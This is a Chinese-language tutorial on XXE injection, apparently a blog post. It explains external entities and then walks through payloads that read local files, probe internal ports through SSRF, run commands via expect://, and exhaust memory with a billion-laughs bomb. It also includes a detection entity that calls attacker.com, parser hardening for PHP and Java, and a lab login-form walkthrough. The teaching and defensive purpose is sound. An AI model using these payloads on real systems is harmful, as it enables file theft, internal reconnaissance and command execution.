XXE漏洞攻击方法

一、XXE 漏洞的概念

  • XXE 全称:XML External Entity Injection(XML 外部实体注入)

  • 本质
    在解析 XML 时,如果允许定义并解析外部实体,攻击者就可以构造恶意实体来:

    • 读取任意文件

    • 发起 HTTP/FTP 请求(SSRF)

    • 探测内网端口

    • 执行系统命令(依赖扩展)

    • 发起拒绝服务攻击(XML 炸弹)

 核心点:解析器支持 DTD,且外部实体未被禁用


二、XML 与实体复习

1. 内部实体

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ 
    <!ENTITY hacker "rastest"> 
]> 
<data>&hacker;</data>
  • 结果&hacker; 被替换成rastest

  • 用途:像变量一样的替换机制。

2. 外部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
    <!ENTITY xxe SYSTEM "file:///C:/secret.txt"> 
]> 
<data>&xxe;</data>
  • 结果:解析时尝试读取 C:/secret.txt 文件内容并替换 &xxe;

  • 如果服务端直接输出 → 任意文件读取。


三、XXE 漏洞的危害

  1. 任意文件读取

    • 读取系统配置文件、数据库配置、密码等敏感信息。

  2. SSRF(服务器端请求伪造)

    • 利用 http:// 协议访问内网服务或外部接口。

    • 可探测端口是否开放。

  3. 命令执行

    • 在支持 expect:// 协议的环境下执行系统命令。

  4. 拒绝服务(DoS)

    • “Billion Laughs Attack” 递归实体,消耗 CPU/内存。


四、实验代码分析

实验文件:xxe.php

  • 功能:接收用户输入 → 解析成 XML → 输出解析结果。

1. 内部实体实验

输入 XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
    <!ENTITY hacker "rastest">
]> 
<data>&hacker;</data>
  • 结果:浏览器输出 rastest

  • 证明:解析器支持实体替换。


2. 外部实体实验

构造 XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
    <!ENTITY xxe SYSTEM "file:///E:/in.txt"> 
]> 
<data>&xxe;</data>
  • 如果 E:/in.txt 内容是 “三连”

  • 结果:输出 三连”

  • 证明:存在 XXE → 任意文件读取。


3. SSRF + 端口探测实验

构造 XML:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ 
    <!ENTITY xxe SYSTEM "http://127.0.0.1:3306/"> 
]> 
<data>&xxe;</data>
  • 如果 3306 端口 MySQL 服务开放 → 请求成功

  • 如果改为 3307(未启用) → 请求失败,报错 failed to load

  • 结果:实现了端口扫描/探测。


4. 命令执行实验(需要 PHP expect 扩展)

<!DOCTYPE test [ 
    <!ENTITY xxe SYSTEM "expect://id"> 
]> 
<data>&xxe;</data>
  • 结果:可执行系统命令,如 ipconfigid 等。


5. DoS 攻击(XML 炸弹)

<!DOCTYPE lolz [ 
    <!ENTITY lol "lol"> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;"> 
]> 
<data>&lol2;</data>
  • 实体递归膨胀,占用大量内存 → 造成拒绝服务。


五、实战案例:微信支付 XXE 漏洞

  • 背景:2018 年微信支付 Java SDK 被爆存在 XXE 漏洞

  • 原因

    • 商户接收微信异步通知时,使用 XML 解析器未禁用外部实体。

  • 影响

    • 攻击者可通过回调 XML 注入外部实体 → 任意文件读取(如商户 ID、API key)

    • 导致“零元购”等严重风险。

  • 官方态度

    • 微信称问题在商户端代码 → 解析器配置不当。


六、XXE 漏洞检测方法

  1. 前提:系统确实使用 XML 进行数据传输。

  2. 构造测试:在 XML 中插入外部实体,例如:

<!DOCTYPE test [ 
<!ENTITY test SYSTEM "http://attacker.com/test"> 
]> 
<data>&test;</data>
  1. 观察

    • 如果 attacker.com 收到请求 → 存在 XXE。

    • 可用 DNSlog 平台 或自建服务器收集请求。


七、防御措施

  1. 禁用外部实体解析(核心)

    • PHP:libxml_disable_entity_loader(true);

    • Java:

      factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
      factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 
      factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  2. 使用安全的 XML 解析库(如 defusedxml

  3. 最小化权限:解析器进程不要有高权限

  4. 严格过滤输入:白名单机制


八、登录口靶场渗透测试思路

靶场登录口通信使用 XML,攻击思路如下:

  1. 确认传输格式

    • 抓包(BurpSuite) → 确认登录请求体是 XML 格式:

      <user> 
          <username>test</username> 
          <password>123</password> 
      </user>

  2. 插入外部实体

    • 在 XML 开头添加 DTD,引用本地文件:

      <!DOCTYPE foo [ 
      <!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini"> 
      ]> 
      <user> 
          <username>&xxe;</username> 
          <password>123</password>
       </user>
  3. 结果

    • 如果响应包中包含 system.ini 内容 → 任意文件读取漏洞成立。

  4. 可扩展攻击

    • 替换实体内容为 http:// → SSRF

    • 用 DNSlog → 无回显检测

    • 用 expect:// → 命令执行(环境允许时)

    • 用递归实体 → DoS

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值